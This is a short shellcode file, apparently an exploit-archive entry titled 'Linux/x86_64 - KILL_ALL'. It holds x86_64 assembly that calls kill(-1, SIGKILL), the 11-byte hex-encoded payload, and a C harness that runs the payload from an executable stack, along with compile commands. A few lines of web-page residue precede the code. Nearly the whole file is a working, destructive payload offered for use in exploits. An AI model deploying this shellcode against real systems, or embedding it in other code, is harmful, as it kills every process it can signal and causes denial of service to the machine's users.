64 lines
No EOL
920 B
C
64 lines
No EOL
920 B
C
/*
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;Title: Linux/x86_64 - KILL_ALL
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;Author: Aron Mihaljevic
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;Architecture: Linux x86_64
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;Shellcode Length: 11 bytes
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========DESCTIPTION===========================
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#include <sys/types.h>
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#include <signal.h>
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int kill(pid_t pid, int sig);
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===COMPILATION AND EXECUTION==================
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#nasm -f elf64 kill.nasm -o kill.o
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#ld kill.o -o kill
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=================SHELLCODE================
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global _start
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section .text
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_start:
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push 0x3e ; sys kill
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pop rax
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push -1 ; pid
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pop rdi
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push 0x9 ; sig kill
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pop rsi
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syscall
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====================FOR C Compile===========================
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# gcc -fno-stack-protector -z execstack shell-testing.c -o shell-testing
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*/
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#include<stdio.h>
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#include<string.h>
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unsigned char code[] = \
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"\x6a\x3e\x58\x6a\xff\x5f\x6a\x09\x5e\x0f\x05";
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main()
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{
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printf("Shellcode Length: %d\n", (int)strlen(code));
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int (*ret)() = (int(*)())code;
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ret();
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} |